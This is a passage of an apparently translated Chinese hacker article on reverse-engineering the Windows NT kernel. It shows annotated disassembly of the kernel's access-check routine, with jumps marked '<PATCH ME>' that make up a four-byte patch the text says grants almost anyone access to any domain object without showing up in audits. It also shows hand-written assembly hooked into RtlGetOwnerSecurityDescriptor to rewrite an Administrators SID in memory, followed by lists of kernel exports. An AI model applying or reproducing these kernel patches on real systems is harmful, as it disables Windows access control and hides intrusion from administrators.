8019984A         mov     [ebp-1], bl
8019984D         mov     [ebp+var_2], bl
80199850         cmp     eax, ebx        ; check that arg8 is
                            ; NULL
80199852         jnz     short loc_80199857
80199854         mov     eax, [ebp+arg_4]    ; arg4 pts to
                            ; "USER32  "
80199857
80199857 loc_80199857:
80199857         mov     edi, [ebp+arg_C]    ; checking some flags
                            ; off of this one
8019985A         mov     [ebp+var_8], eax    ; var_8 = arg_4
8019985D         test     edi, 1000000h        ; obviously flags..
                            ; desired access mask
                            ; I think...

80199863         jz     short loc_801998CA    ; normally this jumps..
                            ; go ahead and jump
80199865         push     [ebp+arg_18]
80199868         push     [ebp+var_8]
8019986B         push     dword_8014EE94
80199871         push     dword_8014EE90
80199877         call     sub_8019ADE0        ; another undoc'd sub
8019987C         test     al, al            ; return code
8019987E         jnz     short loc_80199890
80199880         mov     ecx, [ebp+arg_24]
80199883         xor     al, al
80199885         mov     dword ptr [ecx], 0C0000061h
8019988B         jmp     loc_80199C0C
80199890 ;
===========================================================================
    被删除的代码。

801998CA ;
===========================================================================
801998CA
801998CA loc_801998CA:                 ; jump from above lands here
801998CA                     ; sub_80199836
801998CA         mov     eax, [ebp+arg_0]    ; arg0 pts to a
                            ; Security Descriptor
801998CD         mov     dx, [eax+2]        ; offset 2 is that
                            ; 80 04 number...
801998D1         mov     cx, dx
801998D4         and     cx, 4            ; 80 04 become 00 04
801998D8         jz     short loc_801998EA    ; normally doesnt jump
801998DA         mov     esi, [eax+10h]        ; SD[10h] is an offset
                            ; value to the DACL in
                            ; the SD
801998DD         test     esi, esi        ; make sure it exists
801998DF         jz     short loc_801998EA
801998E1         test     dh, 80h
801998E4         jz     short loc_801998EC
801998E6         add     esi, eax        ; FFWDS to first DACL
                            ; in SD ******
801998E8         jmp     short loc_801998EC     ; normally all good
                            ; here, go ahead and
                            ; jump
801998EA ;
===========================================================================
801998EA
801998EA loc_801998EA:                 ; CODE    XREF: sub_80199836+A2
801998EA                     ; sub_80199836+A9
801998EA         xor     esi, esi
801998EC
801998EC loc_801998EC:                 ; CODE    XREF: sub_80199836+AE
801998EC                     ; sub_80199836+B2
801998EC         cmp     cx, 4         ; jump lands here
801998F0         jnz     loc_80199BC6
801998F6         test     esi, esi
801998F8         jz     loc_80199BC6
801998FE         test     edi, 80000h    ; we normally dont match this,
                        ; so go ahead and jump
80199904         jz     short loc_8019995E
    被删除的代码。

8019995E ;
===========================================================================
8019995E
8019995E loc_8019995E:                 ; CODE    XREF: sub_80199836+CE
8019995E                     ; sub_80199836+D4 ...
8019995E         movzx     eax, word ptr [esi+4]    ; jump lands
80199962         mov     [ebp+var_10], eax    ; offset 4 is number of
                            ; ACE's present in DACL
                            ; var_10 = # Ace's
80199965         xor     eax, eax
80199967         cmp     [ebp+var_10], eax
8019996A         jnz     short loc_801999B7    ; normally jump
    被删除的代码。

801999A2 ;
===========================================================================
    被删除的代码。

801999B7 ;
===========================================================================
801999B7
801999B7 loc_801999B7:                 ; CODE    XREF: sub_80199836+134
801999B7         test     byte ptr [ebp+arg_C+3], 2 ; looks like part of
                               ; the flags data,
                               ; we usually jump
801999BB         jz     loc_80199AD3
    被删除的代码。

80199AD3 ;
===========================================================================
80199AD3
80199AD3 loc_80199AD3:                 ; CODE    XREF: sub_80199836+185
80199AD3         mov     [ebp+var_C], 0     ; jump lands here
80199ADA         add     esi, 8
80199ADD         cmp     [ebp+var_10], 0 ; is number of ACE's zero?
80199AE1         jz     loc_80199B79     ; normally not
80199AE7
80199AE7 loc_80199AE7:                 ; CODE    XREF: sub_80199836+33D
80199AE7         test     edi, edi     ; the EDI register is very
                         ; important we will continue
                         ; to loop back to this point
                         ; as we traverse each ACE
                         ; the EDI register is modified
                         ; with each ACE's access mask
                         ; if a SID match occurs.  
                         ; Access is allowed only if
                         ; EDI is completely blank
                         ; by the time we are done. :-)

80199AE9         jz     loc_80199B79        ; jumps to exit routine
                            ; if EDI is blank

80199AEF         test     byte ptr [esi+1], 8    ; checks for ACE value
                            ; 8, second byte..
                            ; i dont know what
                            ; this is, but if it's
                            ; not 8, its not
                            ; evaluated, not
                            ; important
80199AF3         jnz     short loc_80199B64
80199AF5         mov     al, [esi]        ; this is the ACE type,
                            ; which is 0, 1, or 4
80199AF7         test     al, al            ; 0 is ALLOWED_TYPE and
                            ; 1 is DENIED_TYPE
80199AF9         jnz     short loc_80199B14    ; jump to next block if
                            ; it's not type 0
80199AFB         lea     eax, [esi+8]        ; offset 8 is the SID
80199AFE         push     eax            ; pushes the ACE
80199AFF         push     [ebp+var_8]
80199B02         call     sub_801997C2        ; checks to see if the
                            ; caller matches the
                            ; SID return of 1 says
                            ; we matched, 0 means
                            ; we did not
80199B07         test     al, al
80199B09         jz     short loc_80199B64    ; a match here is good,
                            ; since its the ALLOWED
                            ; list
                            ; so a 2 byte patch can
                            ; NOP out this jump
                            ; <PATCH ME>
80199B0B         mov     eax, [esi+4]
80199B0E         not     eax
80199B10         and     edi, eax        ; whiddles off the part
                            ; of EDI that we
                            ; matched ..
                            ; this chopping of
                            ; flags can go on through
                            ; many loops
                            ; remember, we are only
                            ; good if ALL of EDI is
                            ; chopped away...
80199B12         jmp     short loc_80199B64
80199B14 ;
===========================================================================
80199B14
80199B14 loc_80199B14:                 ; CODE    XREF: sub_80199836+2C3
80199B14         cmp     al, 4            ; check for ACE type 4
80199B16         jnz     short loc_80199B4B    ; normally we aren't
                            ; this type, so jump
    被删除的代码。

80199B4B ;
===========================================================================
80199B4B
80199B4B loc_80199B4B:                 ; CODE    XREF: sub_80199836+2E0j
80199B4B         cmp     al, 1            ; check for DENIED type
80199B4D         jnz     short loc_80199B64
80199B4F         lea     eax, [esi+8]        ; offset 8 is the SID
80199B52         push     eax
80199B53         push     [ebp+var_8]
80199B56         call     sub_801997C2        ; check the callers SID
80199B5B         test     al, al            ; a match here is BAD,
                            ; since we are being
                            ; DENIED
80199B5D         jz     short loc_80199B64    ; so make JZ a normal
                            ; JMP <PATCH ME>

80199B5F         test     [esi+4], edi        ; we avoid this flag
                            ; check w/ the patch
80199B62         jnz     short loc_80199B79
80199B64
80199B64 loc_80199B64:                 ; CODE    XREF: sub_80199836+2BD
80199B64                     ; sub_80199836+2D3
80199B64         mov     ecx, [ebp+var_10]    ; our loop routine,
                            ; called from above as
                            ; we loop around and
                            ; around.
                            ; var_10 is the number
                            ; of ACE's
80199B67         inc     [ebp+var_C]        ; var_C is the current
                            ; ACE
80199B6A         movzx     eax, word ptr [esi+2]    ; byte 3 is the offset
                            ; to the next ACE
80199B6E         add     esi, eax        ; FFWD
80199B70         cmp     [ebp+var_C], ecx    ; check to see if we
                            ; are done
80199B73         jb     loc_80199AE7        ; if not, go back up...
80199B79
80199B79 loc_80199B79:                 ; CODE    XREF: sub_80199836+2AB
80199B79                     ; sub_80199836+2B3
80199B79         xor     eax, eax        ; this is our general
                            ; exit routine
80199B7B         test     edi, edi        ; if EDI isnt empty,
                            ; then a DENIED state
                            ; was reached above
80199B7D         jz     short loc_80199B91    ; so patch the JZ into
                            ; a JMP so we never
                            ; return ACCESS_DENIED
                            ; <PATCH ME>
80199B7F         mov     ecx, [ebp+arg_1C]
80199B82         mov     [ecx],    eax
80199B84         mov     eax, [ebp+arg_24]
                 ; STATUS_ACCESS_DENIED
80199B87         mov     dword ptr [eax], 0C0000022h    
80199B8D         xor     al, al
80199B8F         jmp     short loc_80199C0C
80199B91 ;
===========================================================================
80199B91
80199B91 loc_80199B91:                 ; CODE    XREF: sub_80199836+347
80199B91         mov     eax, [ebp+1Ch]
80199B94         mov     ecx, [ebp+arg_1C]    ; result code into
                            ; &arg_1C
80199B97         or     eax, [ebp+arg_C]    ; checked passed in
                            ; mask
80199B9A         mov     [ecx],    eax
80199B9C         mov     ecx, [ebp+arg_24]    ; result code into
                            ; &arg_24, should be
                            ; zero
80199B9F         jnz     short loc_80199BAB    ; if everything above
                            ; went OK, we should
jump
80199BA1         xor     al, al
80199BA3         mov     dword ptr [ecx], 0C0000022h
80199BA9         jmp     short loc_80199C0C
80199BAB ;
===========================================================================
80199BAB
80199BAB loc_80199BAB:                 ; CODE    XREF: sub_80199836+369
80199BAB         mov     dword ptr [ecx], 0    ; Good and Happy
                            ; things, we passed!
80199BB1         test     ebx, ebx
80199BB3         jz     short loc_80199C0A
80199BB5         push     [ebp+arg_20]
80199BB8         push     dword ptr [ebp+var_2]
80199BBB         push     dword ptr [ebp-1]
80199BBE         push     ebx
80199BBF         call     sub_8019DC80
80199BC4         jmp     short loc_80199C0A
80199BC6 ;
===========================================================================
    被删除的代码。

80199C0A loc_80199C0A:                 ; CODE    XREF: sub_80199836+123
80199C0A                     ; sub_80199836+152
80199C0A         mov     al, 1
80199C0C
80199C0C loc_80199C0C:                 ; CODE    XREF: sub_80199836+55
80199C0C                     ; sub_80199836+8F
80199C0C         pop     edi
80199C0D         pop     esi
80199C0E         pop     ebx
80199C0F         mov     esp, ebp
80199C11         pop     ebp
80199C12         retn     28h         ; Outta Here!
80199C12 sub_80199836     endp

    沿途转储了一些数据结构:

:d eax
0023:E1A1C174 01 00 04 80 DC 00 00 00-EC 00 00 00 00 00 00 00  ................
; this looks like a SD
0023:E1A1C184 14 00 00 00 02 00 C8 00-08 00 00 00 00 09 18 00  ................
0023:E1A1C194 00 00 00 10 01 01 00 00-00 00 00 03 00 00 00 00  ................
0023:E1A1C1A4 00 00 00 00 00 02 18 00-FF 01 1F 00 01 01 00 00  ................
0023:E1A1C1B4 00 00 00 03 00 00 00 00-00 00 00 00 00 09 18 00  ................
0023:E1A1C1C4 00 00 00 10 01 01 00 00-00 00 00 05 12 00 00 00  ................
0023:E1A1C1D4 00 00 00 00 00 02 18 00-FF 01 1F 00 01 01 00 00  ................
0023:E1A1C1E4 00 00 00 05 12 00 00 00-00 00 00 00 00 09 18 00  ................

:d esi
0023:E1A1C188 02 00 C8 00 08 00 00 00-00 09 18 00 00 00 00 10  ................
; OFFSET into the SD (DACL)
0023:E1A1C198 01 01 00 00 00 00 00 03-00 00 00 00 00 00 00 00  ................
0023:E1A1C1A8 00 02 18 00 FF 01 1F 00-01 01 00 00 00 00 00 03  ................
0023:E1A1C1B8 00 00 00 00 00 00 00 00-00 09 18 00 00 00 00 10  ................
0023:E1A1C1C8 01 01 00 00 00 00 00 05-12 00 00 00 00 00 00 00  ................
0023:E1A1C1D8 00 02 18 00 FF 01 1F 00-01 01 00 00 00 00 00 05  ................
0023:E1A1C1E8 12 00 00 00 00 00 00 00-00 09 18 00 00 00 00 10  ................
0023:E1A1C1F8 01 02 00 00 00 00 00 05-20 00 00 00 20 02 00 00  ........ ... ...


下面展示的是 SD, DACL, 和 ACE 的格式:

SD:
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
r |  |04|80|fo|  |  |  |fg|  |  |  |  |  |  |fd|  |  --==>
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
r:  修正值,必须为1
fo: 到自己SID的偏移量
fg: 到组SID的偏移量
fd: 到DACL的偏移量

ACL:
-- -- -- -- -- -- -- -- -- --
r |  |  |  |na|  |  |  |sa|  |  --==>
-- -- -- -- -- -- -- -- -- --
r:  修正值?
na: ACE的数目
sa: 第一个ACE的开始处

ACE:
-- -- -- -- -- -- -- -- -- --
t |i |oa|  |am|  |  |  |ss|  |  --==>
-- -- -- -- -- -- -- -- -- --
t:  类型: 0, 1, 或 4
i:  如果值不是8,那么ACE将被忽略
oa: 到下一个ACE的偏移量
am: 与本SID相关的访问掩码
ss: SID的开始处,通常为8,但是在ACE类型为4时,将会在0Ch的偏移处

    现在你已经获得了四字节的补丁了。这个不定的应用程序将允许任何人访问NT域中的几乎任何对象。同样,在审核ACL时是无法察觉的。仅仅的错误迹象就是你以常规用户打开SAM数据库的操作……我可以在没有任何拒绝访问提示的情况下结束任何进程……上帝知道NULL用户会话可以侥幸逃脱!


逆向工程与RTLGetOwnerSecurityDescriptor()函数的补丁
-------------------------------------------------

    最后一个补丁不是很好,现在这个将举例如何简单的添加你自己的代码到内核里。简单到就是简单的一跳,我可以绕过执行文件的路径到我们的补丁处,然后不知不觉的返回到通常的执行文件处。这个补丁修改存储器中的SID,所以破坏了安全系统的完整性。带上一点灵感,这个补丁可以做得更好。在NTOSKRNL.EXE中有上百个例程,你可以在Ring 0下执行你自己的代码,任何事情都变成为可能。如果为了其他的一些原因,本文应该扩展你对可能性的看法。对NT内核进行逆向工程不是什么新技术,希望NSA拥有NT内核的完整的源代码,并书写一个精心设计的补丁。实际上,它们大都是在NT 3.5上。

80184AAC ;
===========================================================================
80184AAF         align 4
80184AB0 ; Exported entry 719. RtlGetOwnerSecurityDescriptor
80184AB0
80184AB0 ;
===========================================================================
80184AB0
80184AB0 ;         S u b r o u t i n e
80184AB0 ; Attributes: bp-based    frame
80184AB0
80184AB0         public    RtlGetOwnerSecurityDescriptor
80184AB0 RtlGetOwnerSecurityDescriptor proc near ; CODE    XREF: sub_8018F318+22
80184AB0
80184AB0 arg_0         = dword ptr  8
80184AB0 arg_4         = dword ptr  0Ch
80184AB0 arg_8         = dword ptr  10h
80184AB0
80184AB0         push     ebp
80184AB1         mov     edx, [esp+arg_0]
80184AB5         mov     ebp, esp
80184AB7         push     esi

//
// MessageId: STATUS_UNKNOWN_REVISION
//
// MessageText:
//
//  Indicates a revision number encountered or specified is not one
//  known by the service.  It may be a more recent revision than the
//  service is aware of.
//
#define STATUS_UNKNOWN_REVISION          ((NTSTATUS)0xC0000058L)

对SD的修正值:
    用户模式函数InitializeSecurityDescriptor()将会为SD设置修正数字。InitializeSecurityDescriptor()函数初始化一个新的安全描述符。

BOOL InitializeSecurityDescriptor(
PSECURITY_DESCRIPTOR pSecurityDescriptor,  // 安全描述符地址
DWORD dwRevision                           // 修订级别
);

参数:
pSecurityDescriptor: 一个指向函数初始化SECURITY_DESCRIPTOR结构的指针。

dwRevision: 指定分配给安全描述符的修订级别。它必须指定为SECURITY_DESCRIPTOR_REVISION。

80184AB8         cmp     byte ptr [edx], 1    ; Ptr to decimal
                            ; value usually 01,
                            ; (SD Revision)
80184ABB         jz     short loc_80184AC4
                                    ; STATUS CODE (STATUS_UNKNOWN_REVISION)
80184ABD         mov     eax, 0C0000058h    
80184AC2         jmp     short loc_80184AF3    ; will exit

    下一块执行一些对存储在EDX中包含我们函数第一个参数相应对象的操作。有两种不同形式的SD,绝对的和相对的:

    一个安全描述符可以是绝对的或自己相对的形式存在。相对形式时,结构中的所有成员在存储器中以连续的方式定位;在绝对方式时,结构仅仅包含成员的指针。

    EDX中的数据被以绝对的方式被传送:

Argument 1 (a SECURITY_DESCRIPTOR structure):
:d edx
0023:E1F47488 01 00 04 80 5C 00 00 00-6C 00 00 00 00 00 00 00  ..../...l.......
; 01 Revision, Flags 04,
; Offset to Owner SID is 5C,
; Offset to Primary Group SID is 6C

0023:E1F47498 14 00 00 00 02 00 48 00-02 00 00 00 00 00 18 00  ......H.........
0023:E1F474A8 FF 00 0F 00 01 02 00 00-00 00 00 05 20 00 00 00  ............ ...
0023:E1F474B8 20 02 00 00 00 00 14 00-FF 00 0F 00 01 01 00 00   ...............
0023:E1F474C8 00 00 00 05 12 00 00 00-00 00 4E 00 C8 FD 14 00  ..........N.....
0023:E1F474D8 E8 00 14 00 41 00 64 00-6D 00 69 00 01 02 00 00  ....A.d.m.i.....
; SIDS start here, see below
0023:E1F474E8 00 00 00 05 20 00 00 00-20 02 00 00 01 05 00 00  .... ... .......
0023:E1F474F8 00 00 00 05 15 00 00 00-BA 5D FF 0C 5C 4F CF 51  .........]../O.Q

80184AC4 ;
===========================================================================
80184AC4
80184AC4 loc_80184AC4:             ; CODE    XREF:
                                ; RtlGetOwnerSecurityDescriptor+B
80184AC4         mov     eax, [edx+4]  ; we are here if the revision
                         ; is good
80184AC7         xor     ecx, ecx
80184AC9         test     eax, eax     ; 01 00 04 80 >5C< which is
                         ; [edx+4] must not be zero
                         ; if the value IS zero, this
                         ; means the SD does NOT have a
                         ; owner, and it sets argument
                         ; 2 to NULL, then returns,
                         ; ignoring argument 3
                         ; altogether.
80184ACB         jnz     short loc_80184AD4
80184ACD         mov     esi, [ebp+arg_4]
80184AD0         mov     [esi],    ecx
80184AD2         jmp     short loc_80184AE1
80184AD4 ;
===========================================================================
80184AD4
80184AD4 loc_80184AD4:            ; CODE    XREF:
                    ; RtlGetOwnerSecurityDescriptor+1B
80184AD4         test     byte ptr [edx+3], 80h   ; 01 00 04 >80< 5C
                             ; which is [edx+3]
must be 80
80184AD8         jz     short loc_80184ADC
80184ADA         add     eax, edx         ; adds edx to 5C,
                             ; which must be an
                             ; offset to the SID
                             ; within the SD

    注意在存储器里包含一对SID。第一个是所有者,第二个一定是组。第一个SID,1-5-20-220是BUILTIN/Administrators。通过将220变成222,我们可以将之修改为BUILTIN/Guests。这将会造成严重的安全问题。第二个SID将会发生在有威胁的人身上……那就是你的第一个暗示:它不是一个BUILD-IN组的。实际上在这种情况下,组是一个在我NT服务器上的本地组ANSUZ/None(我的服务器名字明显是ANSUZ……)

:d eax
0023:E1A49F84 01 02 00 00 00 00 00 05-20 00 00 00 20 02 00 00  ........ ... ...
; This is a SID in memory (1-5-20-220)
0023:E1A49F94 01 05 00 00 00 00 00 05-15 00 00 00 BA 5D FF 0C  .............]..
; another SID
0023:E1A49FA4 5C 4F CF 51 FD 28 9A 4E-01 02                    
; (1-5-15-CFF5DBA-51CF4F5C-4E9A28FD-201)

80184ADC
80184ADC loc_80184ADC:         ; CODE    XREF:
                 ; RtlGetOwnerSecurityDescriptor+28
80184ADC         mov     esi, [ebp+arg_4]
80184ADF         mov     [esi],    eax     ; moving the address of the
                         ; SID through the user
                         ; supplied ptr (PSID pOwner)
80184AE1
80184AE1 loc_80184AE1:         ; CODE    XREF:
                 ; RtlGetOwnerSecurityDescriptor+22
80184AE1         mov     ax, [edx+2]     ; some sort of flags
                         ; 01 00 >04< 80 5C
80184AE5         mov     edx, [ebp+arg_8]; argument 3, which is to be
                         ; filled in with
flags data
80184AE8         and     al, 1
80184AEA         cmp     al, 1         ; checking against a mask of
                         ; 0x01
80184AEC         setz     cl         ; set based on flags register
                         ; (if previous compare was true)
80184AEF         xor     eax, eax     ; status is zero, all good ;)
80184AF1         mov     [edx],    cl     ; the value is set for
                         ; SE_OWNER_DEFAULTED
                         ; true/false
80184AF3
80184AF3 loc_80184AF3:         ; CODE    XREF:
                 ; RtlGetOwnerSecurityDescriptor+12
80184AF3         pop     esi
80184AF4         pop     ebp
80184AF5         retn     0Ch         ; outta here, status in EAX
80184AF5 RtlGetOwnerSecurityDescriptor endp

这个例程是从下面的堆栈中被调用的:

(NtOpenProcessToken)
Break due to BPX ntoskrnl!RtlGetOwnerSecurityDescriptor  (ET=31.98 milliseconds)
:stack at 001B:00000000 (SS:EBP 0010:00000000)
ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8E3FF04)
ntoskrnl!NtOpenProcessToken+025E at 0008:80198834 (SS:EBP 0010:F8E3FEEC)
ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8E3FE50)
ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8E3FD80)
ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8E3FD48)
ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8E3FD34)
ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP 0010:F8E3FD20)
=> ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP 0010:F8E3FD00)

(PsCreateWin32Process)
Break due to BPX ntoskrnl!RtlGetOwnerSecurityDescriptor  (ET=3.62 milliseconds)
:stack
ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8CDFF04)
ntoskrnl!PsCreateWin32Process+01E7 at 0008:80192B5D (SS:EBP 0010:F8CDFEDC)
ntoskrnl!PsCreateSystemThread+04CE at 0008:8019303E (SS:EBP 0010:F8CDFE6C)
ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8CDFDC8)
ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8CDFCF8)
ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8CDFCC0)
ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8CDFCAC)
ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP 0010:F8CDFC98)
=> ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP 0010:F8CDFC78)

(PsCreateSystemThread)
:stack
ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8CDFF04)
ntoskrnl!PsCreateSystemThread+0731 at 0008:801932A1 (SS:EBP 0010:F8CDFEDC)
ntoskrnl!PsCreateSystemProcess+05FD at 0008:801938B1 (SS:EBP 0010:F8CDFE8C)
ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8CDFDEC)
ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8CDFD1C)
ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8CDFCE4)
ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8CDFCD0)
ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP 0010:F8CDFCBC)
=> ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP 0010:F8CDFC9C)

(SeTokenImpersonationLevel)
:stack
ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8CDFF04)
ntoskrnl!PsCreateSystemThread+0731 at 0008:801932A1 (SS:EBP 0010:F8CDFEDC)
ntoskrnl!PsRevertToSelf+0063 at 0008:8013577D (SS:EBP 0010:F8CDFE8C)
ntoskrnl!SeTokenImpersonationLevel+01A3 at 0008:8019F12F (SS:EBP 0010:F8CDFDE8)
ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8CDFD9C)
ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8CDFCCC)
ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8CDFC94)
ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8CDFC80)
ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP 0010:F8CDFC6C)
=> ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP 0010:F8CDFC4C)

    我开始试着修改这个调用。我决定探测拥有者BUILTIN/Administrators的SID(1-5-20-220)并改变它为BUILTIN/Users的SID(1-5-20-221)。下面的代码就是我修改的:

    首先,我定位到那些我可以转储额外代码的存储器区域。为了测试,我选择了区域地址为:08:8000F2B0。我发现它总是被初始化为零,所以我暂时把它标记为安全的。然后,我组装一些指令到这个新的区域:

8000F2B0:    push ebx
        mov ebx, [eax + 08]
        cmp ebx, 20              ; check the 20 in 1-5-20-XXX
        nop                ; nop's are leftovers from
                        ; debugging
        nop
        jnz 8000f2c2            ; skip it if we aren't looking
                        ; at a 20
        mov word ptr [eax+0c], 221    ; write over old RID w/ new RID
                        ; of 221
        nop
8000f2c2:    pop ebx
        nop
        mov esi, [ebp + 0c]        ; the two instructions
        mov [esi], eax        ; that I nuked to make the
                        ; initial jump
        jmp 80184ae1

    现在,注意到最后的两个指令先于跳转回NT。为了实现这个调用,我必须安装一个跳转指令到NT的子程序里面。这样做攻击了两个实际的指令,如下:

原始代码:

80184ADC         mov     esi, [ebp+arg_4];<**===--- PATCHING A JUMP
                         ;          HERE
80184ADF         mov     [esi],    eax
80184AE1         mov     ax, [edx+2]     ; some sort of flags
                         ; 01 00 >04< 80 5C
80184AE5         mov     edx, [ebp+arg_8]; argument 3, which is to be
                         ; filled in with flags data

修改过的代码:

80184ADC         JMP 8000F2B0         ; Note: this nuked two real
                         ; instructions...

80184AE1         mov     ax, [edx+2]     ; some sort of flags
                         ; 01 00 >04< 80 5C

80184AE5         mov     edx, [ebp+arg_8]; argument 3, which is to be
                         ; filled in with flags data

    所以,为了纠正这一点,我将要跳转的代码需要运行两条丢弃的指令:

        mov esi, [ebp + 0c]        ; the two instructions
        mov [esi], eax        ; that I nuked to make the
                        ; initial jump

    好了,现在所有的都搞定了。我对这个不定测试了一段时间还没有任何问题。为了验证它的存在,在修改时我检查了存储器,SID的确是从1-5-20-220 变成了 SID 1-5-20-221。但是,像所有的项目一样,我还没有“浮出水面”。在获取文件的安全属性时,即使修改了存储器中的SID,所有者仍然现实的是管理员。我同样设置了一个断点来验证类似查询时补丁被正常的调用过。更深一层的研究表明,本例程在验证文件对象访问权限时是不会被调用的,但是在打开进程令牌,创建进程和线程时它会被调用。可能其他的研究者会发现一些更有意思的想法?但是,在这个补丁中使用的方法几乎可以使用到任何内核例程,所以我希望这是一个有用的旅程。


附录A:安全参考监视器的输出函数:
------------------------------

SeAccessCheck
SeAppendPrivileges
SeAssignSecurity
SeAuditingFileEvents
SeAuditingFileOrGlobalEvents
SeCaptureSecurityDescriptor
SeCaptureSubjectContext
SeCloseObjectAuditAlarm
SeCreateAccessState
SeCreateClientSecurity
SeDeassignSecurity
SeDeleteAccessState
SeDeleteObjectAuditAlarm
SeExports
SeFreePrivileges
SeImpersonateClient
SeLockSubjectContext
SeMarkLogonSessionForTerminationNotification
SeOpenObjectAuditAlarm
SeOpenObjectForDeleteAuditAlarm
SePrivilegeCheck
SePrivilegeObjectAuditAlarm
SePublicDefaultDacl
SeQueryAuthenticationIdToken
SeQuerySecurityDescriptorInfo
SeRegisterLogonSessionTerminatedRoutine
SeReleaseSecurityDescriptor
SeReleaseSubjectContext
SeSetAccessStateGenericMapping
SeSetSecurityDescriptorInfo
SeSinglePrivilegeCheck
SeSystemDefaultDacl
SeTokenImpersonationLevel
SeTokenType
SeUnlockSubjectContext
SeUnregisterLogonSessionTerminatedRoutine
SeValidSecurityDescriptor

下面是对象管理器的输出函数:
ObAssignSecurity
ObCheckCreateObjectAccess
ObCheckObjectAccess
ObCreateObject
ObDereferenceObject
ObfDereferenceObject
ObFindHandleForObject
ObfReferenceObject
ObGetObjectPointerCount
ObGetObjectSecurity
ObInsertObject
ObMakeTemporaryObject
ObOpenObjectByName
ObOpenObjectByPointer
ObQueryNameString
ObQueryObjectAuditingByHandle
ObReferenceObjectByHandle
ObReferenceObjectByName
ObReferenceObjectByPointer
ObReleaseObjectSecurity
ObSetSecurityDescriptorInfo

下面是输入/输出管理器的输出函数:
IoAcquireCancelSpinLock
IoAcquireVpbSpinLock
IoAdapterObjectType
IoAllocateAdapterChannel
IoAllocateController
IoAllocateErrorLogEntry
IoAllocateIrp
IoAllocateMdl
IoAssignResources
IoAttachDevice
IoAttachDeviceByPointer
IoAttachDeviceToDeviceStack
IoBuildAsynchronousFsdRequest
IoBuildDeviceIoControlRequest
IoBuildPartialMdl
IoBuildSynchronousFsdRequest
IoCallDriver
IoCancelIrp
IoCheckDesiredAccess
IoCheckEaBufferValidity
IoCheckFunctionAccess
IoCheckShareAccess
IoCompleteRequest
IoConnectInterrupt
IoCreateController
IoCreateDevice
IoCreateFile
IoCreateNotificationEvent
IoCreateStreamFileObject
IoCreateSymbolicLink
IoCreateSynchronizationEvent
IoCreateUnprotectedSymbolicLink
IoDeleteController
IoDeleteDevice
IoDeleteSymbolicLink
IoDetachDevice
IoDeviceHandlerObjectSize
IoDeviceHandlerObjectType
IoDeviceObjectType
IoDisconnectInterrupt
IoDriverObjectType
IoEnqueueIrp
IoFastQueryNetworkAttributes
IofCallDriver
IofCompleteRequest
IoFileObjectType
IoFreeController
IoFreeIrp
IoFreeMdl
IoGetAttachedDevice
IoGetBaseFileSystemDeviceObject
IoGetConfigurationInformation
IoGetCurrentProcess
IoGetDeviceObjectPointer
IoGetDeviceToVerify
IoGetFileObjectGenericMapping
IoGetInitialStack
IoGetRelatedDeviceObject
IoGetRequestorProcess
IoGetStackLimits
IoGetTopLevelIrp
IoInitializeIrp
IoInitializeTimer
IoIsOperationSynchronous
IoIsSystemThread
IoMakeAssociatedIrp
IoOpenDeviceInstanceKey
IoPageRead
IoQueryDeviceDescription
IoQueryDeviceEnumInfo
IoQueryFileInformation
IoQueryVolumeInformation
IoQueueThreadIrp
IoRaiseHardError
IoRaiseInformationalHardError
IoReadOperationCount
IoReadTransferCount
IoRegisterDriverReinitialization
IoRegisterFileSystem
IoRegisterFsRegistrationChange
IoRegisterShutdownNotification
IoReleaseCancelSpinLock
IoReleaseVpbSpinLock
IoRemoveShareAccess
IoReportHalResourceUsage
IoReportResourceUsage
IoSetDeviceToVerify
IoSetHardErrorOrVerifyDevice
IoSetInformation
IoSetShareAccess
IoSetThreadHardErrorMode
IoSetTopLevelIrp
IoStartNextPacket
IoStartNextPacketByKey
IoStartPacket
IoStartTimer
IoStatisticsLock
IoStopTimer
IoSynchronousPageWrite
IoThreadToProcess
IoUnregisterFileSystem
IoUnregisterFsRegistrationChange
IoUnregisterShutdownNotification
IoUpdateShareAccess
IoVerifyVolume
IoWriteErrorLogEntry
IoWriteOperationCount
IoWriteTransferCount

下面是本地安全认证的输出函数:
LsaCallAuthenticationPackage
LsaDeregisterLogonProcess
LsaFreeReturnBuffer
LsaLogonUser
LsaLookupAuthenticationPackage
